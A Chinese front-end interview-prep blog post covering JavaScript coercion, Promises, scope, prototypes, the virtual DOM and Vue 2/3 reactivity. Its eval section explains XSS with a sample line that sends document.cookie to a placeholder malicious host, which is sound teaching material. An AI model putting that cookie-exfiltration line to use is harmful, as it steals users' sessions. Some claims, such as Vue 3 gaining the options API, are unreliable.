【前端】javascript和Vue面试八股
面试暂时没有遇到过考这么深的,一般还是问一些生命周期和性能相关。
Q:什么情况下“ a == 1 && a == 2 && a == 3 ”同时成立
A:对象的valueOf与toString方法:当一个对象与一个原始值(如数字)进行比较时,js会尝试将对象转换为原始值。这个过程通常涉及调用对象的valueOf与toString方法,具体来说:
- 如果对象有valueOf方法,且返回一个原始值,则使用该值
- 如果没有valueOf或valueOf不返回原始值,则尝试用toString方法
- 如果toString也不返回原始值,则抛出一个错误
对于1我们给出代码:
let a = {current: 1,valueOf() {return this.current++;}};if (a == 1 && a == 2 && a == 3) {console.log("Condition is true!");}
对于2我们给出代码:
let a = [1, 2, 3]; // 默认情况下都会把数组项,转换为字符串进行比较
a.join = a.shift; // 将a.join覆盖为a.shift,shift会移除并返回数组第一个元素if (a == 1 && a == 2 && a == 3) {console.log("Condition is true!");
}
Q:原始值,基本类型,引用类型
A:
-
原始值【具体的值42】:直接存储在栈内存中不可变的数据,按值传递(赋值或传参时复制值本身),
原始值本身不能被修改,本身没有方法,js会自动包装为对象auto-boxing
包括:number string boolean null undefined symbol bigint -
基本类型【分类名称number】:与原始值对应的数据类型名称,与原始值一一对应
基础类型存放于栈,变量记录原始值
包括:number string boolean null undefined symbol bigint -
引用类型存放于堆,变量记录地址
引用类型:存储在堆内存中可变的对象,按引用传递(赋值或传参时复制内存地址),
本身能被修改,本身有方法,比较的是引用
包括:Object Array Function Date RegExp Map/Set Promise 用户自定义对象通过构造函数或类创建的对象
Q:Promise是什么
A:为异步编程而生,提供了一种标准化方式去调度微任务(通过resolve/reject触发.then/.catch),普通函数默认不涉及微任务,除非它显式return一个Promise。
普通函数是同步的,没有异步操作,不需要then。Promise诞生不仅仅是为了微任务,而是为了解决根本问题:异步代码的可读性可维护性和错误处理。只有Promise才有then,因为它是专门为异步操作设计的容器。
终极目标:管理异步操作,解决回调地狱
doTask1().then(result1 => doTask2(result1)).then(result2 => doTask3(result2)).then(result3 => console.log("最终结果:", result3));
进一步优化:async/await
async function main() {const result1 = await doTask1();const result2 = await doTask2(result1);const result3 = await doTask3(result2);console.log("最终结果:", result3);
}
Q:js监听对象属性的改变与Vue2/3的关系
A:
响应式编程的核心思想是:当数据变化时,自动更新依赖该数据的部分。
在Vue中,这意味着:当数据变化时,自动重新渲染依赖该数据的组件,自动执行依赖该数据的计算属性和侦听器。
- js本身就能提供几种监听/拦截对象属性访问的机制,为Vue响应式带来灵感:
- Object.defineProperty:ES5。这是js内置的对象属性定义方法,Vue2正是基于此实现响应式系统,可以看到,通过getter/setter拦截属性访问,可以实现属性的响应式行为,是语言原生支持的特性,不需要额外库。缺点是只能监听已有属性,无法拦截新增/删除属性。
- Object.observe:已废弃。Js早期的一个响应式提案,被TC39废弃了,现代js中也不存在这个API,它的废弃反映了前端生态和语言设计的重要转向。主要功能是监听对象变化,但是设计有局限性:只能监听已有属性,无法拦截新增/删除属性,无法自定义拦截逻辑,只能被动接收变更通知。
在Object.observe提案出现时(2015),Vue已经基于Object.defineProperty实现了响应式系统,后来Proxy出现,提供了更优解决方案,所以Object.observe废弃了。 - Proxy:ES6。这是更现代的元编程特性,vue3采用了这种,可以拦截整个对象的各种操作(包括新增/删除属性),可以自定义get、set、delete,提供了更全面的拦截能力,更符合“代理”这一设计模式,适用于更复杂的响应式场景。是显式的代理模式,行为可控。
- Vue2基于Object.defineProperty的代码
// js监听对象属性的改变
// Object.defineProperty
const person = {firstName: 'Alice',lastName: 'Wu',
}
// 对象person 属性 'firstName' 劫持
Object.defineProperty(person, 'firstName', {get() {return this._firstName; // 使用别名},set(value) {this._firstName = value;}
});person.firstName = 'Mary';
- Vue3基于Proxy的代码
// js监听对象属性的改变
// new Proxy
const person = {firstName: 'Alice',lastName: 'Wu',
}const handler = {get(target, property) { // 不需要别名console.log('访问', target[property])// return target[property]; 写法一return Reflect.get(target, property); // 写法二},// 对象 属性 劫持set(target, property, value) {console.log('设置', target[property], '为', value)// target[property] = value; 写法一Reflect.set(target, property, value); // 写法二return true;}
}
const proxyPerson = new Proxy(person, handler);
console.log('劫持', proxyPerson.firstName)
proxyPerson.firstName = 'Mary';
无论哪种,Vue的响应式都遵循了发布订阅模式。
我们注意到Vue3没有用别名,直接写target[property] = value;,换做Vue2写直接赋值this.firstName = value;,会导致无限递归。
这是因为Proxy的拦截机制与defineProperty不同:
- defineProperty修改的是原对象的属性描述符,直接操作target[property]会再次触发自己的get/set。
- Proxy代理对象,拦截对person的操作,只是把操作映射过去,所以不会触发自己的。
Q:箭头函数
A:箭头函数不会创建自己的this上下文,而是继承外层函数的this。
词法作用域this:this的值在箭头函数定义的时候就确定,而不是在调用的时候确定。
无法通过call apply bind改变,用这些修改箭头的this是无效的。
在某些情况下,箭头可能被误解为比较表达式,传统的this动态绑定是js最令人困惑的特性之一,箭头的设计解决了回调中this丢失的常见问题,更适合纯函数场景,不依赖调用上下文,减少了因为this绑定而带来的副作用,符合词法作用域的直觉。
Q:Array的sort内置函数如何实现的
A:[10, 2,1,20] -> [‘10’, ‘2’ , ‘1’, ‘20’],先用toString,然后按UTF-16码点排序,类似字典序
arr.sort((a, b) => a - b); // 数字升序
arr.sort((a, b) => b - a); // 数字降序
Q:作用域
A:
作用域链:js中变量查找的机制,由当前执行环境与所有父级执行环境的变量对象组成。
- 块级作用域:由{ }代码块创建的独立作用域,es6引入的let和const支持块级。
- 函数作用域:由函数创建的作用域,函数内部声明的变量在外部不可访问。
- 词法作用域:也叫静态作用域,作用域在代码编写时,就已经确定了,不是运行的时候确定的。
- 全局作用域:最外层的,不在任何函数或代码块里面的变量和函数,是作用域链的终点。
查找过程:当前作用域比如块级作用域->父级比如函数作用域->全局作用域
作用域延长:通过特定方式【主要是闭包,with已废弃,eval不推荐】延长变量的生命周期,使其超出原本的作用域。
变量提升:var声明的变量和函数声明,会被提升到顶部。
暂时性死区:let和const
执行上下文:包含变量对象、作用域链、this
Q:eval攻击
A:eval会将传入的字符串作为js代码执行,这种动态执行代码能力带来了几个严重问题
① 性能问题:eval中的代码无法被js引擎优化,是解释执行,不是编译执行。作用域查找成本高,每次执行都要重新解释代码,无法缓存
② XSS攻击:如果eval的参数包含用户输入,攻击者可以注入恶意代码,利用eval执行任意代码,获取敏感信息
// 假设从URL参数获取数据
const userInput = new URLSearchParams(window.location.search).get('data');
eval(userInput); // 如果用户输入是"alert(document.cookie)",就会泄露cookie
// 重定向攻击
eval("window.location='http://malicious-site.com?cookie='+document.cookie");
③ 调试困难:eval的代码难以调试,因为错误的堆栈跟踪不清晰,代码也难以被静态分析工具检查
④ 作用域问题:eval在非严格模式下会污染当前作用域,导致意外变量泄漏
Q:Vue3比Vue2好在哪里
A:Vue3能减小打包体积;把相关逻辑集中在一起;使用选项式API;打包的时候路由懒加载。
性能比较测试代码:
const largeObj = {};
for (let i = 0; i < 10000; i++) {largeObj[`key${i}`] = { nested: { value: i } };
}// Vue 2 方式
console.time('defineProperty');
Object.keys(largeObj).forEach(key => {let value = largeObj[key];Object.defineProperty(largeObj, key, {get() {console.log('get', key);return value;},set(newVal) {console.log('set', key);value = newVal;}});
});
console.timeEnd('defineProperty');
// Vue 3 方式
console.time('Proxy');
const proxy = new Proxy(largeObj, {get(target, key) {console.log('get', key);return target[key];},set(target, key, value) {console.log('set', key);target[key] = value;return true;}
});
console.timeEnd('Proxy');
Q:VNode和虚拟DOM是什么
A:同一个东西。是一个轻量级JS对象,能够实现性能优化,因为比操作真实DOM开销小得多。它只保留DOM的必要信息。一个真实DOM对象可能有上百个属性,而虚拟DOM只保留渲染所需核心属性。它支持跨平台,不直接依赖浏览器环境,可以在非浏览器中用,使渲染与平台解耦,支持SSR等非浏览器环境。
真实DOM为何成本高:每次操作都会触发浏览器repaint/reflow。
// 真实DOM
<div id="app" class="navClass"><span>Hello</span>
</div>
// 对应 虚拟DOM
{tag: 'div', // 标签名data: { // 属性/特性attrs: { id: 'app' }, // HTML 属性staticClass: 'navClass' // class 类名},children: [ // 子节点{tag: 'span',children: [{ text: 'Hello' } // 文本节点]}],elm: undefined, // 对应的真实 DOM 节点(初始为 undefined)context: VueComponent, 上下文 // 所属的 Vue 实例key: undefined // 可选的 key
}
Q:tick是什么
A:在Vue响应式系统中,tick(时钟周期)是一个重要概念,指的是js事件循环中的一个完整周期。包括:
① 执行当前调用栈中所有同步代码
② 处理微任务队列
③ 处理宏任务队列
④ 必要时进行更新UI渲染
Vue利用js事件循环来实现其异步更新策略:
① 数据变化时:当你修改响应式数据时,Vue不会立即更新DOM【避免不必要的DOM操作,性能好】
② 推入队列:将需要更新的组件watcher放入队列
③ 下一个tick:在当前tick结束后,下一个tick开始前,执行这些更新
tick的执行顺序示例
console.log('同步代码 1')this.message = '新消息' // 触发响应式更新
Promise.resolve().then(() => {console.log('微任务 1')
})
this.$nextTick(() => {console.log('Vue 的 nextTick 回调')
})
setTimeout(() => {console.log('宏任务')
}, 0)
console.log('同步代码 2')同步代码 1
同步代码 2
微任务 1
Vue 的 nextTick 回调
宏任务
Q:new操作符内在逻辑
A:
- Brendan Eich在设计js时,为了简化面向对象编程,选择了基于原型的继承,而非类的继承。
new操作符是仿java的语法(尽管底层机制完全不同)。
查看伪代码进行理解,只要用new,js引擎必执行obj.__ proto__ = Constructor.prototype,这是为了绑定原型链。js从self语言继承了原型链的设计,通过对象的prototype实现属性和方法的共享。prototype正是为new提供继承的模板,是js原型链机制的基石。对象如果没有prototype属性,则无法被继承。
function Woman(name) { this.name = name; }
Woman.prototype.gender = 'female';function myNew(Constructor, ...args) {// 1.绑定原型链的标准、高效// Object.create(prototype) 会创建一个新对象并将其 [[Prototype]](即 __proto__)直接设置为 prototype// 这是最直接、最规范的方式,确保原型链与原生 new 的行为一致// -----// let obj = {};// obj.__proto__ = Constructor.prototype; // 非标准,且性能较差// __proto__ 是历史遗留的非标准属性(尽管现代环境支持)非标准,且性能较差// -----// 构造函数或工厂函数 无法直接绑定到 Constructor.prototype,需要额外步骤// Object.create() 是 ES5 引入的标准方法,专门用于创建对象并指定原型。它不依赖任何外部状态(如全局变量或其他构造函数),完全可控。const obj = Object.create(Constructor.prototype);// 2. ----------初始化 this-------------// 将构造函数 Constructor 的 this 绑定到新对象 obj 并传入参数 args(可能是多个参数// apply 【直接调用 接受参数数组(args 是数组或类数组)】和 call【直接调用 接受参数列表(arg1, arg2, ...)】 功能几乎相同,区别仅在于参数形式// 如果用 call,需要展开参数 Constructor.call(obj, ...args); // 等效,但多一次展开操作// bind 会【返回一个新函数】,而不是【立即执行原函数】。// let boundConstructor = Constructor.bind(obj, ...args);// boundConstructor(); // 多此一举// bind 【柯里化】更适合需要延迟执行的场景(如事件回调),而 apply/call 是立即执行const result = Constructor.apply(obj, args);// 3.-------------new 的返回值由构造函数决定-------------// Constructor有return,返回result// 没有return或return非对象比如123,则返回this即objreturn result instanceof Object ? result : obj;
}
let c = myNew(Woman, 'Carol');
console.log(c.name); // 'Carol'
console.log(c.gender); // 'female'
- 原型继承缺点
- 属性共享:子类共享了父类原型的属性,一个实例改了这个引用父原型,则影响别的所有
- 不能传递参数:无法向父构造函数传参,因为父的构造函数已经用了
- 原型链
null是原型链的顶层,所有对象都继承自Object原型对象,Object原型对象的原型是null。
实例->所有对象模板->Object原型对象模板->null
可以这么理解:三角形积木->三角形形状的模子->模子被做出来肯定是因为有一张设计好的图纸->什么都没有
相关文章:

【前端】javascript和Vue面试八股
面试暂时没有遇到过考这么深的,一般还是问一些生命周期和性能相关。 Q:什么情况下“ a 1 && a 2 && a 3 ”同时成立 A:对象的valueOf与toString方法:当一个对象与一个原始值(如数字)进…...

WEB3——区块链留言板(留言上链),查看web3日志-入门项目推荐
区块链留言板(留言上链) 目标:构建一个用户可以“写入留言、读取历史留言”的 DApp。 内容: Solidity 编写留言合约,存储留言内容和发送者地址。 提供 API: GET /messages:获取留言列表 POST…...
开源库免费API服务平台 ALLBEAPI
开源库API化平台 ALLBEAPI 🌊 GitHub仓库地址:https://github.com/TingjiaInFuture/allbeapi 为优秀开源库提供免费 API 服务,让开发者无需安装和部署即可直接调用。 🌐 API 接入地址 基础 URL: https://res.allbeapi.top 所…...

【配置vscode默认终端为git bash】
配置vscode默认终端为git bash 点击左下角小齿轮,点击设置,搜索terminal.integrated.profiles.windows,点击在setting.json中编辑 第一部分是当前的所有的终端,第二部分是配置默认的终端"terminal.integrated.defaultProfi…...
Cloudflare
Cloudflare 是一个网络基础设施和网站安全服务提供商,它的主要作用是让网站 更快、更安全、更可靠。简单来说,它是一个“护盾 加速器”。 🧩 Cloudflare 的主要功能: 1. 🚀 加速网站访问(CDN)…...

Cypress + TypeScript + Vue3
🚀 从零构建 Cypress + TypeScript + Vue3 组件测试环境【详细实战教程】 组件测试是前端开发中不可忽视的一环,它能够帮助我们在开发阶段就发现 UI 与交互逻辑问题。本文将带你手把手搭建基于 Cypress + TypeScript + Vue3 的组件测试环境,包含完整目录结构、配置文件、组…...
Oracle DG库控制文件IO错误导致宕机的应急处理
Oracle DG库控制文件IO错误导致宕机的应急处理 事故现场偷天换日棋差一招事故现场 一套Oracle 19c DG环境的备库宕机。 根据告警时间检查实例宕机时间点附近的alert日志有如下重要信息: 2025-05-25T23:34:10.705385+08:00 KCF: read, write or open error, block=0x3377ee …...
技术深度解析:《鸿蒙5.0+:全场景能效的产业革命》
引言:万物智联时代的功耗新范式 产业痛点: 全球IoT设备年耗电量突破200TWh,传统系统架构难以支撑千亿级终端低功耗需求。鸿蒙5.0战略定位: 通过全场景能效架构(端侧极致优化跨端智能…...
Spring Boot启动慢?Redis缓存击穿?Kafka消费堆积?——Java后端常见问题排查实战
Spring Boot启动慢?Redis缓存击穿?Kafka消费堆积?——Java后端常见问题排查实战 引言 Java后端系统因其丰富的技术栈和复杂的业务逻辑,常常面临启动延迟、性能瓶颈、异常错误等多种挑战。从核心语言、Web框架到分布式微服务及缓…...

深入解析 IP 代理:原理、应用场景与优化策略
在当今数字化时代,网络通信的安全性与隐私保护成为人们日益关注的焦点,而 IP 代理作为网络技术领域的一个重要概念,正扮演着愈发关键的角色。本文将深入剖析 IP 代理的原理、广泛的应用场景以及如何对其进行优化,以期为读者提供有…...

58、辣椒种植学习
辣椒(学名:Capsicum annuum)属于茄科辣椒属,是一种重要的蔬菜兼调味作物,具有较高的经济价值和营养价值。其果实富含维生素C、辣椒素等成分,既可鲜食,也可加工成干辣椒、辣椒粉、辣椒酱等产品&a…...

【SpringBoot】零基础全面解析SpringBoot配置文件
本篇博客给大家带来的是SpringBoot配置文件的知识点, 有properties 配置文件 和 yml 配置文件, 目前主流的是yml,所以本文以 重点讲解 yml 配置文件. 🐎文章专栏: JavaEE进阶 👉gitte链接: 薯条不要番茄酱 🚀若有问题 评论区见 ❤ 欢迎大家点…...

python:PyMOL 能处理 *.pdb 文件吗?
PyMOL 完全可以打开并处理 PDB(Protein Data Bank)文件,这是 PyMOL 最主要的功能之一。PDB 格式是结构生物学领域的标准文件格式,专门用于存储生物大分子(如蛋白质、核酸)的三维结构数据。 在 PyMOL 中打开…...

GNSS终端授时之四:高精度的PTP授时
我们在GNSS终端的授时之三:NTP网络授时中介绍了NTP网络授时的基本原理。我们知道了NTP授时的精度跟网络环境相关,即使在局域网中NTP授时的精度也只能到ms级别。如果广域网,经过多级交换机,路由器,由于传输路径和延时的…...
Vim文本编辑器快捷键用法以及简单介绍
目录 vim文本编辑器 简介: 语法: vim模式介绍: 模式切换: 用法: 编辑模式: 一般模式: 命令模式: vim文本编辑器 简介: 在命令行界面下,最常用的文本…...
CppCon 2014 学习:C++ in Huge AAA Games
“Nicolas Fleury, Technical Architect” 这份主题为 “C in Huge AAA Games” 的内容理解,可以从几个方面切入: 1. 背景 AAA大作游戏(Triple-A Games)指的是预算高、规模大、制作精良的顶级游戏项目。这些游戏通常代码库庞大&…...

PHP与MYSQL结合中中的一些常用函数,HTTP协议定义,PHP进行文件编程,会话技术
MYSQL: 查询函数: 执行查询语句: 1.mysql_query("SQL语法"); 凡是执行操作希望拿到数据库返回的数据进行展示的(结果返回: 数据结果); 2.执行结果的处理:成功为结果集,失败为false; 成功返回结果:SQL指令没有错误,但是查询结果…...
MapReduce 分布式计算模型
练习题 单词计数 需求:统计每个单词数量 "Hello World Hello Hadoop Hello MapReduce" 实现: map阶段:拆分成单词,执行map函数输出键值对<word, 1> <Hello, 1> <World, 1> <Hello, 1> <…...
Vue3 + Element Plus 防止按钮重复点击的解决方案
在 Vue3 和 Element Plus 项目中,防止按钮重复点击是一个常见的需求,特别是在表单提交、支付等场景下。以下是几种实现方式: 1. 使用 Element Plus 的 loading 状态 Element Plus 的按钮组件本身就支持 loading 状态,这是最简单…...
测试工程师学LangChain之promptTemplate 实战笔记
一、引言:大模型时代的测试自动化革命 2025 年,随着大模型(如 DeepSeek)在自动化测试领域的广泛应用,Prompt 编写已成为测试工程师的核心技能之一。 为什么? 大模型输出的质量 90% 取决于输入的 PromptLangChain 的 PromptTemplate 提供了参数化 Prompt 的标准化方案Ope…...

OpenCV计算机视觉实战(9)——阈值化技术详解
OpenCV计算机视觉实战(9)——阈值化技术详解 0. 前言1. 全局阈值与自适应阈值2. Otsu 算法3. 实战案例:文档扫描中的二值化处理4. 算法对比小结系列链接 0. 前言 在图像处理领域,阈值化 (Binarization) 技术就像一把魔术剪刀&…...

【Tauri2】049——upload
前言 这篇就看看一个简单地插件——upload Upload | Taurihttps://tauri.app/plugin/upload/upload的英文意思是“上传(程序或信息)”。 看来是用来上传文件的。 支持移动端 正文 安装 pnpm tauri add upload 在前后端都会安装,即 .plug…...

4、数据标注的武林秘籍:Label-Studio vs CVAT vs Roboflow
开篇痛点:90%的模型效果取决于数据质量 "标注3小时,训练5分钟"——这是很多AI工程师的真实写照。上周有位读者训练YOLOv12时发现,同样的代码,换批数据mAP直接跌了15%,根本原因是标注不规范!本文…...
MATLAB项目实战:阻尼振动与数据拟合项目
关键技能点说明: 函数定义与匿名函数 使用匿名函数定义微分方程:damped_osc = @(t, Y) [...] 自定义拟合模型函数:model = @(b, t) b(1).*exp(...) 符号计算(可选) 使用符号数学工具箱求解析解:dsolve、diff、simplify 符号表达式数值化:subs + double 数值算法实现 ODE…...
74道Node.js高频题整理(附答案背诵版)
简述 Node. js 基础概念 ? Node.js是一个基于Chrome V8引擎的JavaScript运行环境。它使得JavaScript可以在服务器端运行,从而进行网络编程,如构建Web服务器、处理网络请求等。Node.js采用事件驱动、非阻塞I/O模型,使其轻量且高效…...

Linux 基础IO(上)
目录 前言 重谈文件 文件操作 1.打开和关闭 2.对文件打开之后操作 理解文件fd 1.文件fd的分配规则与重定向 2.理解shell中的重定向 3.关于Linux下一切皆文件 关于缓冲区 1.为什么要有缓冲区 2.缓冲区刷新策略的问题 3.缓冲区的位置 前言 本篇到了我们linux中的文件…...
如何加载私钥为 SecKeyRef
本文介绍如何在 iOS/macOS 下将私钥加载为 SecKeyRef,涵盖 PEM 格式的 ECC 密钥读取、X9.63 数据构建、以及与 Keychain 的集成。 1. 使用 SecKeyCreateWithData 加载私钥 Apple 提供的 SecKeyCreateWithData 方法可以直接将密钥数据加载为 SecKeyRef 对象。 SecK…...
@Pushgateway自定义脚本推送数据
文章目录 Pushgateway 自定义脚本推送数据1. 目的2. 适用范围3. 前提条件4. 操作流程4.1 确定指标类型和格式4.2 编写推送脚本方法一:使用 curl 命令行推送方法二:使用 Python 脚本推送方法三:使用 Python 客户端库推送4.3 设置定时任务4.4 验证数据5. 高级配置5.1 使用基本…...
kubernate解决 “cni0“ already has an IP address different from 10.244.0.1/24问题
问题 NetworkPlugin cni failed to set up pod “coredns-5d4b4db-jkmnl_kube-system” network: failed to set bridge addr: “cni0” already has an IP address different from 10.244.0.1/24 解决方案 这个问题通常是由于Flannel网络插件残留配置导致的IP地址冲突。以下…...

el-tree拖拽事件,限制同级拖拽,获取拖拽后节点的前后节点,同级拖拽合并父节点name且子节点加入目标节点里
node-drag-start:开始拖拽节点时触发(按下鼠标按钮),无论是否允许放置,此事件都会触发。 allow-drop 返回 true 才能触发@node-drag-end="handleDragend"、@node-drop="handleDrop"; (1)allow-drop:动态控制是否允许放置; (2)node-dr…...